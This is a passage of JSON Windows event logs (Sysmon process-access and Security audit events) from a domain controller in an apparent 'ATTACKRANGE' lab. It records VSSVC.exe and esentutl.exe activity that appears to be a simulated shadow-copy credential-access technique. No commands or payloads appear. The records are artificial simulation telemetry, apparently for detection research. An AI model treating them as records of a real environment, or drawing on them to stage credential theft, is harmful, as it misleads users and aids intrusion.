ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5547,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5548,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.056\r\nSourceProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nSourceProcessId: 5008\r\nSourceThreadId: 1952\r\nSourceImage: C:\\Windows\\system32\\vssvc.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\vssvc.exe+1f059|C:\\Windows\\system32\\vssvc.exe+13d86|C:\\Windows\\system32\\vssvc.exe+160e0|C:\\Windows\\system32\\vssvc.exe+125fb|C:\\Windows\\system32\\vssvc.exe+126f1|C:\\Windows\\system32\\vssvc.exe+1f80d|C:\\Windows\\System32\\combase.dll+ac7ed|C:\\Windows\\System32\\combase.dll+ac5ec|C:\\Windows\\System32\\combase.dll+a34b0|C:\\Windows\\System32\\combase.dll+72961|C:\\Windows\\System32\\combase.dll+72c4d|C:\\Windows\\System32\\combase.dll+c9734|C:\\Windows\\system32\\vssvc.exe+129c2|C:\\Windows\\system32\\vssvc.exe+1b4c0|C:\\Windows\\system32\\vssvc.exe+1b379|C:\\Windows\\System32\\msvcrt.dll+3b2ca|C:\\Windows\\System32\\msvcrt.dll+3b39c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.056","SourceProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","SourceProcessId":"5008","SourceThreadId":"1952","SourceImage":"C:\\Windows\\system32\\vssvc.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\vssvc.exe+1f059|C:\\Windows\\system32\\vssvc.exe+13d86|C:\\Windows\\system32\\vssvc.exe+160e0|C:\\Windows\\system32\\vssvc.exe+125fb|C:\\Windows\\system32\\vssvc.exe+126f1|C:\\Windows\\system32\\vssvc.exe+1f80d|C:\\Windows\\System32\\combase.dll+ac7ed|C:\\Windows\\System32\\combase.dll+ac5ec|C:\\Windows\\System32\\combase.dll+a34b0|C:\\Windows\\System32\\combase.dll+72961|C:\\Windows\\System32\\combase.dll+72c4d|C:\\Windows\\System32\\combase.dll+c9734|C:\\Windows\\system32\\vssvc.exe+129c2|C:\\Windows\\system32\\vssvc.exe+1b4c0|C:\\Windows\\system32\\vssvc.exe+1b379|C:\\Windows\\System32\\msvcrt.dll+3b2ca|C:\\Windows\\System32\\msvcrt.dll+3b39c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5549,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.056\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+65f98|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.056","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+65f98|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4904,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13568,"OpcodeValue":0,"RecordNumber":222123,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An attempt was made to register a security event source.\r\n\r\nSubject :\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nProcess:\r\n\tProcess ID:\t0x1390\r\n\tProcess Name:\tC:\\Windows\\System32\\VSSVC.exe\r\n\r\nEvent Source:\r\n\tSource Name:\tVSSAudit\r\n\tEvent Source ID:\t0x8736E","Category":"Audit Policy Change","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","AuditSourceName":"VSSAudit","EventSourceId":"0x8736e","ProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4905,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13568,"OpcodeValue":0,"RecordNumber":222124,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An attempt was made to unregister a security event source.\r\n\r\nSubject\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nProcess:\r\n\tProcess ID:\t0x1390\r\n\tProcess Name:\tC:\\Windows\\System32\\VSSVC.exe\r\n\r\nEvent Source:\r\n\tSource Name:\tVSSAudit\r\n\tEvent Source ID:\t0x8736E","Category":"Audit Policy Change","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","AuditSourceName":"VSSAudit","EventSourceId":"0x8736e","ProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5550,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.056\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+a453a|C:\\Windows\\system32\\lsasrv.dll+e1caf|C:\\Windows\\system32\\lsasrv.dll+e209b|C:\\Windows\\system32\\lsasrv.dll+10de7b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.056","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+a453a|C:\\Windows\\system32\\lsasrv.dll+e1caf|C:\\Windows\\system32\\lsasrv.dll+e209b|C:\\Windows\\system32\\lsasrv.dll+10de7b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222125,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5551,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.056\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.056","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222126,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5552,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.056\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.056","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SY